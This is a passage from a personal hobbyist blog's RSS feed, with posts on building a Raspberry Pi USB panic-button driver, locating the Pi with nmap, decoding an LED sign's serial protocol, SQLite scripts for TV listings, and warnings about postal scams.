A bash script that simply waits for you to push the button
<code>
 1 #!/bin/bash
 2
 3 #detect when the button is pressed
 4
 5 while [ $(cat /sys/bus/usb/drivers/panicb/*/button) = 0 ]; do
 6     echo -n "."
 7     sleep 0.5
 8 done
 9 echo "pressed"
</code>
This will check for the button [line 5], if it is pressed then exit the loop and print the message "pressed" [line 9].
If the button has not been pressed output a full stop [line 6] (the -n is to not add a CR) then wait half a second [line 7] and then try again.
I can then call this script from another, looping, to always print "pressed" when the button is pressed and never exit.

Next time I setup raspmc media centre with a USB keypad...
</description>
</item>
<item>
<title>raspberry pi panic button ftw</title>
<pubDate>Sun, 03 Feb 2013 21:45:52 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2013.html#030220132145</link>
<description>
I got this USB Panic button a few years ago, very cheap, I think it only worked in Windows XP and then not very well.
<img src="images/panicbutton.jpg" alt="USB panic button" />
It seemed like the easiest thing to try and get working with the Raspberry Pi. After some googling three options came up, driver in Perl, Python or C.
After some hours trying to get CPAN(its a Perl thing) to handle USB I gave up with an unanswered post http://www.raspberrypi.org/phpBB3/viewtopic.php?f=50&t=29240&p=257052#p257052
I had little hope for Python so it was onto the C version, *HERE BE DRAGONS*

Only problem being that the C code was for a full kernel module and at the time the Raspberry Pi did not have the kernel header files needed to build kernel modules.
http://www.raspberrypi.org/phpBB3/viewtopic.php?f=71&t=29326&p=257733#p257733

There were some posts regarding the manual building of the Pi's kernel header files but they were for earlier versions, this is what I came up with
(mostly taken from http://www.raspberrypi.org/phpBB3/viewtopic.php?f=71&t=17666&p=179845#p179845)

<code>wget  https://github.com/raspberrypi/linux/tarball/rpi-3.6.y
tar xzf rpi-3.6.y 
cd raspberrypi-linux-31a9510/
zcat /proc/config.gz > .config
make oldconfig
make modules_prepare
wget https://github.com/raspberrypi/firmware/raw/master/extra/Module.symvers
KSRC=`pwd`
pushd /lib/modules/`uname -r`
ln -s ${KSRC} source
ln -s ${KSRC} build
popd
pushd /usr/src
ln -s ${KSRC} linux-`uname -r`
ln -s ${KSRC} linux
popd</code>

The Panic button code is part of a collection of USB gadgets https://github.com/pficheux/USBFun 

<code>mkdir usbdevices
cd usbdevices/
wget "https://github.com/pficheux/USBFun/archive/master.zip"
unzip master.zip 
cd USBFun-master/
cd panicb/
make</code>

it was going so well at this point and could not last

<code>"error: unknown field ‘ioctl’ specified in initializer"</code>

Stack overflow lead me to the fix
http://stackoverflow.com/questions/5868908/using-ioctl-communication-between-kernel-mode-and-user-mode
<code>vi panicb.c
:169
wiunlocked
[ESC]
:wq
make</code>

Which simply updated the line
<code>	.ioctl   = panicb_ioctl</code>
to
<code>	.unlocked_ioctl   = panicb_ioctl</code>
the updated way of handling this call in newer kernels.

Then
<code>sudo ./detach_hid 1130 202
sudo insmod ./panicb.ko </code>

<code>cat /sys/bus/usb/drivers/panicb/*/button</code>
* is for the designation of the usb address e.g. 
<code>/sys/bus/usb/drivers/panicb/1-1.3:1.0/button</code>
that is the USB hub/port/address(not supposed to be human readable, though can be decoded)

if the result is 0 the button has not been pressed since it was last checked, 1 if it has been (this then resets it back to 0)
the press does not register until the button is released (this is a hardware not software issue).

running the newly compiled app <code>sudo ./panicb_test /dev/panicb0</code> crashed my pi

to make it work on reboot (so you do not have to manually detach and insmod each time)
<code>sudo make install
sudo cp 99-panicb.rules /etc/udev/rules.d
sudo udevadm control --reload-rules
modprobe panicb</code>
if that fails with 
FATAL: Module panicb not found.
then you need to find the panicb.ko file and move it 
(this was because the kernel version ended in a + and command is not quoted)
<code>mv /lib/modules/3.6.11/extras/panicb.ko /lib/modules/3.6.11+/kernel/drivers/usb/misc/
modprobe panicb</code>
no errors and can see panicb in
<code>lsmod</code>
and finally add panicb to the /etc/modules file
<code>echo panicb >> /etc/modules</code>

Next time I demo a quick bash shell script to detect the panic button presses.
</description>
</item>
<item>
<title>Saturn is reachable via screwdriver</title>
<pubDate>Sat, 19 Jan 2013 10:18:02 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2013.html#190120131018</link>
<description>
So the <a href="http://en.wikipedia.org/wiki/Sega_Saturn">Saturn</a> problem I was having was not what I feared, a knackered motherboard. A number forums were reporting that newer TVs could not cope with the badly designed Saturn SCART cables and suggesting convoluted workarounds using SCART switcher boxes, but, in fact it was a bent pin in the video connector.
Slowly applying pressure via a small screw driver restored the pin and it lives once again.
Sadly my favourite Saturn game <a href="http://en.wikipedia.org/wiki/Burning_Rangers">Burning Rangers</a> never survived the loan of the <a href="http://en.wikipedia.org/wiki/Sega_Saturn">Saturn</a>, but I can still have some retro gaming with the kids.
</description>
</item>
<item>
<title>I spy raspberry pi headless nmap discovery</title>
<pubDate>Sat, 19 Jan 2013 10:01:59 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2013.html#190120131001</link>
<description>
ISPY Raspberry Pi

Got 512MB Raspberry Pi(model b) for Christmas.

I don't have a HDMI ready TV and it is not practical to try and hook up the RCA connector.
So my Raspberry y Pi is headless, no visual output (except the status LEDs).
The Raspberry Pi is up and running according to the status LEDs so how can I find which IP address it has been assigned ?
NMap to the rescue, it will check each IP address in a specific range and locate open ports, the Raspberry Pi Wheezy distribution has shh on by default.
<code>nmap -n 192.168.0.0/24

Starting Nmap 6.01 ( http://nmap.org ) at 2013-01-02 21:45 GMT
Nmap scan report for 192.168.0.14
Host is up (0.0071s latency).
Not shown: 999 closed ports
PORT      STATE SERVICE
62078/tcp open  iphone-sync

Nmap scan report for 192.168.0.15
Host is up (0.000069s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
22/tcp open  ssh

Nmap scan report for 192.168.0.20
Host is up (0.028s latency).
All 1000 scanned ports on 192.168.0.20 are closed

Nmap scan report for 192.168.0.37
Host is up (0.0030s latency).
Not shown: 999 closed ports
PORT      STATE SERVICE
62078/tcp open  iphone-sync

Nmap scan report for 192.168.0.38
Host is up (0.0043s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
22/tcp open  ssh

Nmap scan report for 192.168.0.200
Host is up (0.017s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE
80/tcp   open  http
5431/tcp open  park-agent

Nmap done: 256 IP addresses (6 hosts up) scanned in 45.38 seconds</code>

-n for 'no name resolution' and the /24 is the bit mask to search from 0-255, that only affects the last number(octet).

In those results;
15 is the machine I am using
200 is the router
20 is the Wii
14 and 37 are IPhone/IPad devices (not mine) so that leaves 
38 for the PI

<code>nmap -n -O 192.168.0.38

Starting Nmap 6.01 ( http://nmap.org ) at 2013-01-02 22:05 GMT
Nmap scan report for 192.168.0.38
Host is up (0.00048s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
MAC Address: B8:27:EB:BF:80:62 (Raspberry Pi Foundation)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=6.01%E=4%D=1/2%OT=22%CT=1%CU=35114%PV=Y%DS=1%DC=D%G=Y%M=B827EB%TM
OS:=50E4AF3B%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=105%TI=Z%CI=Z%II=I%
OS:TS=7)OPS(O1=M5B4ST11NW3%O2=M5B4ST11NW3%O3=M5B4NNT11NW3%O4=M5B4ST11NW3%O5
OS:=M5B4ST11NW3%O6=M5B4ST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=
OS:3890)ECN(R=Y%DF=Y%T=41%W=3908%O=M5B4NNSNW3%CC=Y%Q=)T1(R=Y%DF=Y%T=41%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=41%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=41%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=41%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=41%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=41%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=41%CD=S)

Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.53 seconds</code>

-O is OS detection

Note that NMap is using the MAC address of the ethernet port to identify the Raspberry Pi.
then its just

<code>ssh pi@192.168.0.38</code>

say yes and enter the default password "raspberry"

Although its unlikely, your DHCP server(the thing giving out the IP addresses) might give the Raspberry Pi a different address next time it is booted, in which case just repeat the above to find the new address.

next time ... PANIC! (in a good way)
</description>
</item>
<item>
<title>DVD+R DL RW is not what you think it is</title>
<pubDate>Sun, 02 Dec 2012 11:17:34 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2012.html#021220121117</link>
<description>
I have had a writable DVD drive in computer for at least five years, only ever used it once to verify that it could write DVDs, worked fine for data.
Thing is at the time I had asked for Xmas presents writable DVDs, I even tried to give them away a few years back, no takers, so they just sat in a box.
For the first time since then I needed to write a video DVD to play on an old DVD player. Linux had lots of options, but the best/simplest seemed to be <a href="http://www.bombono.org/cgi-bin/wiki/">Bombono-DVD</a> and indeed there were very few options, it just worked!
I had picked an 8.5gb DVD+R DL RW so if could use it again afterwards.
The disk played fine in the DVD player, but I had added the files in the wrong order and the old DVD player would not let me skip the 30mins of cruft at the beginning and fast forwarding took forever.
Time to rewrite the disk and make sure only the required video files were included ...
<code>Disc with type &quot;DVD+R&quot; in the drive is not clear. Only clear recordable discs can be used for burning DVD-Video. Load a clear one and press OK.</code>
hmmmm...
After a lot of googling it turns out rewritable DVDs can not be &quot;blanked&quot; like rewritable CDs and you just have to force the data on.
<a href="http://www.bombono.org/cgi-bin/wiki/">Bombono-DVD</a> obviously did not know how to do this and as it is open source I thought I could fix it for them.
After some interesting setup, hacking and execute paths I had it bypassing the issue, Woohoo!
No, the underlying DVD software <a href="http://fy.chalmers.se/~appro/linux/DVD+RW/">growisofs</a> gives &quot;Error 5&quot;.
Much more googling and reading Wikipedia <a href="http://en.wikipedia.org/wiki/DVD%2BRW">DVD+RW</a> and <a href="http://en.wikipedia.org/wiki/DVD%2BR">DVD+R</a> resulted in <a href="http://en.wikipedia.org/wiki/DVD%2BRW_Alliance">DVD+RW Alliance</a>.
RW is not even explained on their <a href="http://dvdservices.org/why/doublelayer.htm">web page</a> which rather adds to the credence that it was a marketing scam all along.
<code>clap clap clap</code>
I am not the only to be <a href="http://club.myce.com/f33/dvd-r-dl-rw-rewriteable-dl-153270/#.UDvlCVvTV2R">duped</a> and I doubt I will be the last.
</description>
</item>
<item>
<title>how to hack a noname led sign in windows 7 64bit that was made for windows xp 32bit</title>
<pubDate>Sun, 02 Dec 2012 11:14:00 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2012.html#021220121114</link>
<description>
We got a led sign at work to display build and issue stats.
It was a cheap no-brand and came with mounting brackets a remote control and a badly photocopied copy of manual.
There was the power supply,IR remote, serial cable and a CD.
On the CD was the software for controlling the sign, but it was for Windows XP.
After some fiddling got it to run with Admin rights and compatibility mode XP sp2.
Confusing GUI, but basic sending text strings to the sign worked fine and had some fun with the custom graphics and colours/beeps etc.
So could we run it with parameters from the command line ? ... nope.
Could we find any other command line apps for dealing with this sign ? nope.
so we needed to decode what was sent across the serial port and replicate it in code.
Could we find a free (there are plenty that are not) package that would sniff the serial port ? Yes
Sysinternals now owned by Microsoft have a app called portmon.
Run it ... can not find a way to capture the data, nothing the docs or blog posts makes sense where is the "Computer" menu ?
Deep dive Googling turned up that Windows 7 64bit is NOT SUPPORTED AGHHHhhh...!
So get an old XP 32 bit machine and wire it up.
Problem one: software runs but does not update sign.
Problem two: now my Win7 64bit machine will not update sign.
The IR remote worked fine and after some fiddling just started working again, seems the sign was not in the right state.
Problem three: XP machine in the way, needs to be on the network and then we can use Remote Desktop, but no ethernet drivers.
Problem four: get driver on to machine after downloading, found someone with a USB key.
Problem five: RDP in, get sign working, run portmon .... still no "Computer" menu.
Problem six: forums suggest getting earlier version of portmon, can not find one anywhere, all links point back to the main site.
Problem seven: one post recommends Resource Hacker but then does not tell you what to do.
Worked out that you open the Menu editor add a random string and the number, compile, saved, run woohoo
DATA !
Problem eight: no amount of Googling will turn up anything about this protocol.
Manually decode protocol, find terminal program, send data.
Profit !?

This sign will scream if unplugged.
All the codes required to get the sign working are 7 bit ASCII, i.e. you can type them on your keyboard so writing a program that will format a basic String and then squirt it down the Serial line is trivial.
One PITA that became a godsend was the lack of feed back from the sign when sending data. The sign does not communicate Back via the serial port, which was very annoying when we were not sure if we were sending the right data. But later when the sign was unplugged I could send data down the line as if it was there and capture the bytes making the decoding from the supplied software a breeze. 
</description>
</item>
<item>
<title>never ever plane against the grain</title>
<pubDate>Sun, 02 Dec 2012 11:02:06 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2012.html#021220121102</link>
<description>
Did some serious wood work this weekend, first time for twenty years.
Took and old shelf (that had been a desk) cut it in half and cut that half into three.
These three are the legs each 1ft long and 1" wide. Planed those down to make the ends flat.
Used a very heavy 100cm shelf of very high quality that we have had for over 6 years, no idea what it was mad for.
Measured and drilled holes including counter sinking.
This small job took about four and a bit hours and has made a huge impact on my cluttered desk.
note to self, never EVER plan across the grain !
</description>
</item>
<item>
<title>blender required ATI watermark fight</title>
<pubDate>Fri, 30 Nov 2012 22:36:17 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2012.html#301120122236</link>
<description>
Blender stopped working and I needed to add some eyes to my fish.
Had recompile the gentoo kernel and emerge new ATI drivers.
Checked uptime before rebooting, 145 days.
After everything came back up I got a shock, the X display had a ATI watermark stating this was a test!
Gentoo to the rescue add USE flag and re-emerge and reboot.
<code>disable-watermark</code>
Its all good and the eyeballs are coming along nicely ;)
</description>
</item>
<item>
<title>Resurection of Saturn</title>
<pubDate>Sun, 02 Sep 2012 14:52:49 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2012.html#020920121452</link>
<description>
So the <a href="http://www.jumpstation.co.uk/flog/Sep2012.html#010920121016">Saturn problem</a> I was having was not what I feared, a knackered motherboard. A number forums were reporting that newer TVs could not cope with the badly designed Saturn SCART cables and suggesting convoluted workarounds using SCART switcher boxes, but, in fact it was a bent pin in the video connector.
Slowly applying pressure via a small screw driver restored the pin and it lives once again.
Sadly my favourite Saturn game <a href="http://en.wikipedia.org/wiki/Burning_Rangers">Burning Rangers</a> never survived the loan of the <a href="http://en.wikipedia.org/wiki/Sega_Saturn">Saturn</a>, but I can still some retro gaming with the kids.
</description>
</item>
<item>
<title>console resurection dreamcast</title>
<pubDate>Sat, 01 Sep 2012 10:16:55 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2012.html#010920121016</link>
<description>
Got the old <a href="http://en.wikipedia.org/wiki/Dreamcast">Dreamcast</a> out to try an entertain the kids (that was after faffing with the <a href="http://en.wikipedia.org/wiki/Sega_Saturn">Saturn</a> and getting *no picture).
Lots of games, short attention span (not me), match made in heaven.
What was odd was their favourite game was <a href="http://en.wikipedia.org/wiki/Crazy_Taxi">Crazy Taxi</a>, which was odd on many levels, from controls to ease of failure.
One thing <a href="http://en.wikipedia.org/wiki/Crazy_Taxi">Crazy Taxi</a> does well that a hell of a lot of other <a href="http://en.wikipedia.org/wiki/Dreamcast">Dreamcast</a> games did really badly was time from boot to actual game play.
What with opening sequences that could not be skipped to numerous "select a save file"/"Mission briefing"/"select character(even though you only have one choice)" screens.
My all time favourite game that I thought would capture a child's imagination was <a href="http://en.wikipedia.org/wiki/Toy_Commander">Toy Commander</a>, but it was just to complicated and they did not connect with the fact you were playing/imagining with toys!?
* might be updating that soon after doing an hours Googling.
</description>
</item>
<item>
<title>DVD supermarket scam claims more victims</title>
<pubDate>Tue, 28 Aug 2012 18:48:26 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2012.html#280820121848</link>
<description>
I am sure you have seen the "wannabe" DVDs usually in the supermarkets pretending to be the latest film at rock bottom prices.
The key one that sticks in my mind was a cartoon with a cover that so closely resembled the Pixar UP multi-coloured balloons it was uncanny, there have also been numerous super hero film releases that conveniently tied into to expensive re-releases of the original cartoon.
Tintin is a good example, as soon as the cinema had the film all the DVD shelves were stuffed with the previously un-selling, now over priced original cartoon series.
Anyone who is not savvy with the intricacies of the latest releases would have trouble distinguishing the wheat from the chaff (I am think parents and grand parents).
I was also sure I would never be caught in this way, but I bought the original Swedish "The girl with the dragon tattoo" thinking it was the latest release. To my defence, it was difficult to detect it was in Swedish, the cover was covered in UK companies star reviews, there was a label about the forth coming cinema release and the there was no mention of the actors names or the language except in tiny writing.
That aside I did find it comical that my wife recently bought "The Kings Speech" except it was the Documentary and then "The Iron Lady" that once again was only a documentary. In her defence, although I saw through "The Kings Speech" straight away, I actually looked at "The Iron Lady" and put it in for us to watch and then it took a further 5 mins of watching it to realise it was not the film we expected.
There must be a marketing school teaching how to do this stuff, because they seem to be getting better at it and the number of them out there seems to increase all the time.
Currently on the SyFy channels is "Almighty Thor" not be confused with "Thor" the 2011 cinema release.
May this be a caution to me, not to buy DVDs from supermarkets ever again!
</description>
</item>
<item>
<title>linkedin hacked and never replied</title>
<pubDate>Wed, 06 Jun 2012 22:40:57 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2012.html#060620122240</link>
<description>
Speaking of <a href="http://www.jumpstation.co.uk/flog/Jun2012.html#060620122226">spam</a> I have started to get spammy emails sent to an email address I created back in 2003-4 I signed up to a little known social web service to stay in contact with someone I meet on the commute to work.
http://linkedin.com
To be fair I did use it a few years ago when I need contacts for contract work, but now I do not use it at all.
On Saturday the 2nd of June I tweeted #linkedin asking if they had been hacked, as the email address was unique to linkedin and linkedin does not give email address out if facilitates inter user communication keeping the addresses hidden.
No reply and today I find they were hacked, 6.5 million password hashes released and many many people confirming their legitimacy.
Time to close my linkedin account ....?
</description>
</item>
<item>
<title>spam now costs the price of a second class stamp</title>
<pubDate>Wed, 06 Jun 2012 22:26:52 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2012.html#060620122226</link>
<description>
t has been <a href="http://www.schneier.com/essay-143.html">said</a> that increasing the cost to send spam would decrease its profitability, hopefully to zero, so I was very surprised to receive a physical spam.
An A4 letter sent with a 2nd class stamp that appeared to be exactly as an email would be printed.
Headed up as <code>From The desk of Hiroshi Tamiko</code>
followed by a +81 phone number and a yahoo.co.jp email address, it detailed the classic story...
"keep confidential"
"money to transfer"
"looking for your help"
"will split money 50/50"
"trust me"
"you are the only one I am contacting"
"act swiftly"
I want to get it framed or at the very least incorporated into some kind of art project. :)
</description>
</item>
<item>
<title>Finally getting to eat from the TV recipe</title>
<pubDate>Sun, 20 May 2012 22:15:04 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2012.html#200520122215</link>
<description>
Continuing my <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=tv">TV recipe</a>
The <a href="http://www.jumpstation.co.uk/flog/May2012.html#200520122143">films story</a> was an easy one, now on with the programmes.
Lets start with the SQL query (which I run in the excellent <a href="http://code.google.com/p/sqlite-manager/">sqlite manager firefox plugin</a> which incidentally I have contributed code to).
<code>SELECT 
	T.[id],
	P.[Title],
	P.[Episode],
	P.[Description],
	P.[sub-title], 
	strftime('%d',P.[Date]), 
	P.[Start Time], 
	C.[Name] 
FROM 
	programme P 
INNER JOIN Channel C ON P.channelId = C.Id
LEFT JOIN Tracker T ON P.Description = T.Description
WHERE 
	P.[title] in ('The Simpsons','Mythbusters','Pawn Stars','Family Guy','South Park','American Dad!','QI')
	AND ( 
			(
				date = date('now') 
				AND [start time]>=time('now')
			) 
			OR date=date('now','+1 day')
	)
	AND P.[Episode] !=''
	AND (
		T.[Title] is null 
		OR T.[seen] =0 
		OR P.[title] LIKE 'Robot Chicken%'
	)
ORDER BY [date],[start time]</code>
"T.[id]" gives me the ID for the <a href="http://www.jumpstation.co.uk/flog/May2012.html#200520122143">trackers script</a> to set the 'seen' flag.
All the "P." columns are from the "Programme" table and the "C.[Name]" is the channel name, rather than the channel ID.
"INNER JOIN" results in a match for each channel ID to a channel Name.
"LEFT JOIN" is for all programmes even if there is not a corresponding tracker entry.
Then limit to my currently preferred programmes where the date and time are today or tomorrow.
Make sure the tracker is either null(not set) or explicitly set to 0(not seen) with the special caveat that I really want to watch Robot Chicken !
The "strftime('%d'" just lets me know easily if its today or tomorrow without a massive data string, I know what year it is!
All this means two things, one if I have not set an episode to 'seen' then it will show in my search meaning I feel no compulsion to record everything I have not seen, two I will not miss any random episodes that are on at different times or on different channels.
You might find this strange if you have skimmed through all the <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=tv">TV recipe</a> posts but, I am watching considerably less than I use to. Mainly because I only go to the TV when I know something is on or needs to be recorded.
The only downside is, I might miss something outside my search parameters, like a new show, but hey I can live with that.
</description>
</item>
<item>
<title>After getting all the ingredients for the tv recipe what to do with them</title>
<pubDate>Sun, 20 May 2012 21:43:59 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2012.html#200520122143</link>
<description>
Continuing my <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=tv">TV recipe</a>
so now I have a nice big database of all the programmes from my preferred channels (read:all channels minus the ones I do not want/have no access to), what can I do with it ?
Time for some background on why I wanted to get all that data.
When I am tired or ill or just want to veg out, I like to watch TV, but even with sky's hundreds of channels I often find nothing on. But, being in 'veg' mode I then watch anything.
To try and fix this problem I started recording programmes and films I might want to watch in a future 'veg' episode. This works but takes up a huge amount of time and its easy to miss things.
For instance, I used to regularly check Film4 each night, but that missed films on other channels. On a Friday I would try and scour all the major channels for the coming weekend, just for films, again often missing odd ones here and there.
I the meantime for non-films I would just record every episode and hope for the best, this meant I often recorded tons of old episodes I did not want to see again.
The Sky interface is just too slow to manually check each recording and I still managed to miss stuff.
So... this project automates the data acquisition and then I can make the choices of what to record almost automatic.
But there is a problem. The Simpons(for instance) which is on my episode hit-list has 300+ episodes and I do not want to read the description each time to find out if it is one I have seen before or not.
A new table is born, "Trackers". The "Trackers" table has most of the same fields as the "Programmes" table minus the date/time and with an additional field "Seen".
I can not mark an episode as 'seen' and when I 'Join' the "Trackers" and "Programmes" tables together I need never see that episode in the results again.
To set an episode to 'seen' I have a tiny bash script
<code>#!/bin/bash
echo "Set Seen Tracker"
echo "================"
echo "(hit return with no value to exit)"
tid="nothing yet"
while [ ${#tid} != 0 ]
do
  echo -n "tracker id:"
  read tid
  if [ ${#tid} != 0 ]; then
    sqlite3 database/tv.db "update tracker set seen=1 where id=$tid"
  fi
done</code> 
The ID comes up in my queries and I just enter it in the window running the above script *bing* done.
For the film query I just need to get all data from today and flagged as a Film.
<code>select [Title],[Genre],[Year],[Name],[Date],[Start Time] from programme P INNER JOIN Channel C ON P.channelId = C.Id where [Date] >= date('now') AND Film='true' ORDER BY [Date],[start time]</code>
And although this make return over one thousand results for a two week period it takes almost no time to eye-ball the list looking for interesting films, many are repeats or +1
Now I never need to search the film channels again while remaining confident that I am not missing anything.
The other query for programme episodes is a bit more complex so I will leave that for another post ...
</description>
</item>
<item>
<title>Cory Doctorows Content is the single most important thaing you need to read today</title>
<pubDate>Sat, 05 May 2012 21:41:33 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2012.html#050520122141</link>
<description>
I have been recently reading a number of Cory Doctorow (expect reviews) books.
Although I had heard of the author long ago, comments on <a href="http://slashdot.org">slashdot.org</a> referring to him as a 'hack' meant I had given his work a wide berth.
But what I HAVE to post about now is his non-fiction title &copy;ontent which you can download for FREE from http://craphound.com/content/download/ 
The author REALLY wants you to download all his books for FREE and they exist in many MANY formats.
I like mine in paper format and so got them from the <a href="http://www.amazon.co.uk/s/ref=nb_sb_ss_c_1_4?url=search-alias%3Dstripbooks&field-keywords=cory+doctorow&sprefix=cory%2Caps%2C207">Cory Doctorow section of amazon</a> number were only 1p (+p&amp;p).
The sub title of &copy;ontent (or just content) is 
<code>Selected Essays on the Technology, Creativity, Copyright, and the Future of the Future</code>
It is extremely difficult to try and describe what exactly it entails other than to say *YOU MUST READ THIS BOOK*, and you must try and get as many people as possible to also read it.
After reading it I want to order 1000s of copies and distribute them to everyone I see.
Comprising twenty eight stories/essays that are all very readable, well researched and easy to read, Cory details the REAL whys, whats and wherefores about humanities past, present and future connection with copyright, copying, the Internet and intellectually property.
The key thing I came away with, is that where we are in the history of mankind we are doing it all wrong, not just from a personal stand point but from a VERY clear historical one.
Radio was to change the world by broadcasting performances to anyone who could build a set, then cassette recorders, then video recorders and now the Internet.
Each one was a game changer and the laws were updated to ensure mankind benefited, but for some reason this is NOT happening with the Internet and digital copying.
&quot;Copying stuff is never, ever going to get any harder than it is today&quot;
Which makes me ask, 'How long until it we can each have a copy of every relevant(and possibly irrelevant) piece or data created since the beginning of recorded history, every text of every book, every image from every web site, every film/television broadcast, every digital post/tweet, every sound bite from every radio programme, every recorded thought?'
</description>
</item>
<item>
<title>harvest the programme data</title>
<pubDate>Sat, 05 May 2012 21:06:26 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2012.html#050520122106</link>
<description>
Continuing my <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=tv">TV recipe</a>
Got my preferred channel list time to get some programmes.
As noted in this <a href="http://www.jumpstation.co.uk/flog/Mar2012.html#140320122136">post</a> the programme files are just tilde delimited text files, on programme per line. So just loop through the list of channel ids and end up with a load(202) numbered .dat files.
Before I could do anything with them I had to fix the line endings.
<code>egrep -lIUr $'\r$' raw/channels/*.dat | xargs sed -i 's/\r//'</code>
Which translates to find all the files with a \r at the end of the line and remove it.
Now I could (and probably should have) written a SQL INSERT command that only adds new records, but instead I read all the data into a programmeTEMP table and then INSERT new records in to the main programme table.
<code>sqlite3 database/tv.db "delete from programmeTEMP"
for i in raw/channels/*.dat; 
do 
	channelid=$(echo "$i" | sed -e "s/[^0-9]*//g")
	cat raw/channels/$channelid.dat | grep "~" | sed -e 's/\"/\\\"/gi' -e "s/'/''/gi" -e "s/~/','/gi" -e "s/^/insert into programmeTEMP values (null,$channelid,'/gi" -e "s/$/');/gi" | sqlite3 database/tv.db 
done</code>
Which just loops through all the channels inserting all fields.
Next and very important, need to make the Date field searchable as its initial incarnation is just a string.
<code>sqlite3 database/tv.db  "UPDATE programmeTEMP SET [Date] = (SUBSTR([Date],7,4)||'-'||substr([Date],4,2))||'-'||substr([Date],1,2) WHERE [Date] LIKE '__/__/____';"</code>
Now, matching on the Channel ID, Programme Title, Date and Start Time import new records.
<code>echo "insert into programme select null,PT.channelId,PT.Title,PT.[Sub-Title],PT.Episode,PT.Year,PT.Director,PT.Performers,PT.Premiere,PT.Film,PT.Repear,PT.Subtitles,PT.Widescreen,PT.[New series],PT.[Deaf signed],PT.[Black and White],PT.[Film star rating],PT.[Film certificate],PT.Genre,PT.Description,PT.[Radio Times Choice],PT.Date,PT.[Start Time],PT.[End Time],PT.Duration from programmeTEMP PT \
	LEFT JOIN programme P ON PT.channelId = P.channelId AND PT.Title = P.Title AND PT.Date = P.Date AND PT.[Start Time] = P.[Start Time] WHERE P.title IS NULL;"  | sqlite3 database/tv.db</code>
Note how it is easy to use either sqlite method, pipe command in or pass as second parameter of sqlite3.
Now I have all the raw data I need.
Next time, why the trackers and what can be mined.
</description>
</item>
<item>
<title>Please call Emma on 01482 380680 SCAM</title>
<pubDate>Sat, 05 May 2012 20:33:00 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2012.html#050520122033</link>
<description>
Got a postcard this morning, no not from a friend or family member on holiday with a nice picture on it.
This postcard had simply 
<code>Please call Emma on
01482 380680 
thankyou</code>
The note was hand written and looked like something a delivery company would put through the door, except someone had been in all day.
But what really spooked me was it was addressed to "The Occupier", hand written along with our address.
Wife wanted me to call it straight away but I googled the phone number and found out this is a scam perpetrated by a debt collection agency called Westcot.
Now you know how the back of a post card is in two halves, one for the message and one for the address. well the separator on this one is small print VERY small print.
<code>2f is a trading name of Westcot credit services limited, registered in Scotland. no. 84131.
registered office: kyleshill house, 1 glencarin street, salcoats KA21 5JT</code>
Any normal person will not see that the dividing line is in fact tiny tiny printed text.
If you get one of these, DO NOT RING! DO NOT GIVE THE REFERENCE NUMBER!
We have no bad debt so this is not legitimate, if you suspect the postcard is related to your bad debt then wait until you receive a real sealed letter.
Card was postage paid HQ44483
Note: I am classifying this as a SCAM due to the deceptive practises used, what the company is doing does appear to be legal(barely).
</description>
</item>
<item>
<title>selecting only the channels you want with sqlite bash and html mad</title>
<pubDate>Tue, 24 Apr 2012 21:00:36 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2012.html#240420122100</link>
<description>
Continuing my <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=tv">TV recipe</a>
So I had a text file for channels with over 400 entries, many I new were unrelated to my interests.
I could have manually removed any channels I did not like but then what about when I refreshed the data?
No I needed to keep all the channels and mark which ones were interesting.
There were many many ways to do this but for the minimal about of coding I opted for ...
First time; import all the channels into the database, then unselect the ones I was not interested in.
All further imports; import into channels into a comparison table, figure out any new or deleted channels then add/delete new/obsolete channels.
The key was how to unselect the channels ...
<code>sqlite3 database/tv.db "select id,selected,name from channel;" | sed -e "s/|+|/|checked=\"checked\"|/gi" | sed -e "s/\(^[0-9]*\)|\(.*\)|\(.*\)/&lt;input type=\"checkbox\" name=\"id\" value=\"\1\" \2 \/&gt;\3&lt;br \/&gt;/gi" > c.html</code>
I then topped and tailed the c.html file to include a FORM BODY HTML tags.
Ran it in a browser and had a looong list of checkbox and channel names.
